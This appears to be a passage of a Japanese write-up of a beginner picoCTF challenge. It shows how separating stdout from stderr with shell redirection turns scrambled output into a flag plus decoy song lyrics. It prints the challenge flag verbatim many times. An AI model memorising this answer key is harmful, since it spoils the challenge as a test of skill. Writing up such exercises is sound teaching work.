4k_n7ohw1 ntgh_e7 bg9a3m6e0 caan}dp iwceo'CrTeF {gpo1npn1an gp_l1aSy_ 4i_t7 h 1In gj_u7sbt9 3w6a0ncnaa} ptieclolC TyFo{up 1hpo1wn gI_'1mS _f4e_e7lhi1nngg _G7obt9t3a6 0mcaak}ep iycoouC TuFn{dpe1rps1tnagn_d1 S _N4e_v7ehr1 nggo_n7nba9 3g6i0vcea }ypoiuc ouCpT FN{epv1epr1 nggo_n1nSa_ 4l_e7th 1ynogu_ 7dbo9w3n6 0Nceav}epri cgooCnTnFa{ pr1upn1 nagr_o1uSn_d4 _a7nhd1 ndge_s7ebr9t3 6y0ocua }NpeivceorC TgFo{npn1ap 1mnagk_e1 Sy_o4u_ 7chr1yn gN_e7vbe9r3 6g0ocnan}ap iscaoyC TgFo{opd1bpy1en gN_e1vSe_r4 _g7ohn1nnag _t7ebl9l3 6a0 clai}ep iacnodC ThFu{rpt1 py1onug _ 1NSe_v4e_r7 hg1onngn_a7 bg9i3v6e0 cyao}up iucpo CNTeFv{epr1 pg1onngn_a1 Sl_e4t_ 7yho1un gd_o7wbn9 3N6e0vcear} pgiocnonCaT Fr{upn1 pa1rnogu_n1dS _a4n_d7 hd1ensge_r7tb 9y3o6u0 cNae}vpeirc ogCoTnFn{ap 1mpa1kneg _y1oSu_ 4c_r7yh 1Nnegv_e7rb 9g3o6n0ncaa }spaiyc ogCoToFd{bpy1ep 1Nnegv_e1rS _g4o_n7nha1 ntge_l7lb 9a3 6l0icea }apnidc ohCuTrFt{ py1opu1 n gN_e1vSe_r4 _g7ohn1nnag _g7ibv9e3 6y0ocua }uppi cNoeCvTeFr{ pg1opn1nnag _l1eSt_ 4y_o7uh 1dnogw_n7 bN9e3v6e0rc ag}opnincao CrTuFn{ pa1rpo1unngd_ 1aSn_d4 _d7ehs1enrgt_ 7ybo9u3 6N0ecvae}rp igcoonCnTaF {mpa1kpe1 nygo_u1 Sc_r4y_ 7Nhe1vnegr_ 7gbo9n3n6a0 csaa}yp igcoooCdTbFy{ep 1Npe1vnegr_ 1gSo_n4n_a7 ht1enlgl_ 7ab 9l3i6e0 caan}dp ihcuorCtT Fy{opu1 p
問題文とヒントからすると、 stdin, stdout, stderr を使い分ける(出し分ける)と、ちゃんとしたのが出てきそうです。おそらく現在の出力は、混在して出力されていると思われます。
stdoutを出力するには {command} > {output_file}
, stderrを出力するには {command} 2> {output
_file}
なので、両方出力してみます。カレントディレクトリは書き込み禁止なので、 /tmp/tmpkusu
ディレクトリに吐くようにしました。
$ ./in-out-error > /tmp/tmpkusu/stdout.txt Please may I have the flag? picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF {p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng _1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7 h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b 9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca} picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF {p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng _1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7 h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b 9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca} picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF {p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng _1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7 h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b 9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca} picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
こっちが正解っぽいですが、念の為errorも。
$ ./in-out-error 2> /tmp/tmpkusu/stdout.txt Hey There! If you want the flag you have to ask nicely for it. Enter the phrase "Please may I have the flag?" into stdin and you shall receive. Please may I have the flag? Thank you for asking so nicely! We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy I just wanna tell you how I'm feeling Gotta make you understand Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you We've known each other for so long Your heart's been aching, but You're too shy to say it Inside, we both know what's been going on We know the game and we're gonna play it And if you ask me how I'm feeling Don't tell me you're too blind to see Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you (Ooh, give you up) (Ooh, give you up) Never gonna give, never gonna give (Give you up) Never gonna give, never gonna give (Give you up) We've known each other for so long Your heart's been aching, but You're too shy to say it Inside, we both know what's been going on We know the game and we're gonna play it I just wanna tell you how I'm feeling Gotta make you understand Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you
こっちがダミーでしたね。stdoutの方の出力のflagが答えです。